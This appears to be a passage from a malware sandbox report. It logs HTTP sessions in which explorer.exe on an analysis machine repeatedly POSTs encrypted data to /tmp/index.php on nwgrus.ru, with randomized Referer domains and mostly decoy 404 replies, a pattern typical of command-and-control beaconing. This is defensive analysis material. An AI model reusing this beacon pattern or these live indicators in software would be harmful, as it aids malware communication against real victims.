Oct 8, 2024 18:23:40.657196999 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 8, 2024 18:23:40.658646107 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 8, 2024 18:23:40.659202099 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	61327	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:40.985582113 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gcsggiqiypjqctoh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: nwgrus.ru
Oct 8, 2024 18:23:40.985654116 CEST	166	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 78 4f f9 9b Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuxOH_k]Bf`IAL-4YkA[w=J?N1=BRNT?sh
Oct 8, 2024 18:23:41.860126019 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	61334	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:41.876885891 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://swrrssmuceopwlwv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: nwgrus.ru
Oct 8, 2024 18:23:41.876885891 CEST	194	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 6c 4e df bd Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vulN]Jc8VEgt1[=S{WU4?7B?HH<:=pmDX4@C$3jEB
Oct 8, 2024 18:23:42.739319086 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:42 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	61340	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:42.748801947 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mcrofbggconl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: nwgrus.ru
Oct 8, 2024 18:23:42.748814106 CEST	245	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 3b 20 a1 f4 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu; %]mp3hASkitFzI@i4R/Ys6&PG9F8V$iX'Y:f]-!qWn2}IoJQ
Oct 8, 2024 18:23:43.610102892 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:43 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	61347	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:43.620249033 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://euadhmjtligscip.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: nwgrus.ru
Oct 8, 2024 18:23:43.620275021 CEST	287	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 33 49 c9 81 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu3IJKQXtPn+E_lbH4~B=S7=VRgE9OQjL#V`A+\|DF8N7V~OR?Dn^a\|lX
Oct 8, 2024 18:23:44.512805939 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:44 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	61355	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:44.520380020 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oratgvwctswjsrg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: nwgrus.ru
Oct 8, 2024 18:23:44.520416021 CEST	289	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 60 14 de e3 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu`s!Eab-?b`w;:K!#AN0MQ}Sx)NcmeYsHP($6vJEZnK%Z4'
Oct 8, 2024 18:23:45.414834023 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	61360	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:45.424655914 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jukynnhymwnwl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: nwgrus.ru
Oct 8, 2024 18:23:45.424655914 CEST	281	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 54 5b c4 f6 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuT[_[G]i2/+~3oU<C70+X^]kP#G$#L'2]S)xC?!>`AoBEnGSxBm+(o
Oct 8, 2024 18:23:46.355251074 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:46 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	61365	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:46.366725922 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pithrelifcqallw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: nwgrus.ru
Oct 8, 2024 18:23:46.366753101 CEST	148	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 54 52 e6 88 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuTRdeh{^`YR6htE4pz^@hTKMih
Oct 8, 2024 18:23:47.251260996 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	61370	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:47.260538101 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kdahnseejtpvc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: nwgrus.ru
Oct 8, 2024 18:23:47.260550022 CEST	147	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 31 08 e7 a8 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu1BiScjP{Fyk<B\f\|AK]9-.^x
Oct 8, 2024 18:23:48.813927889 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:48 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
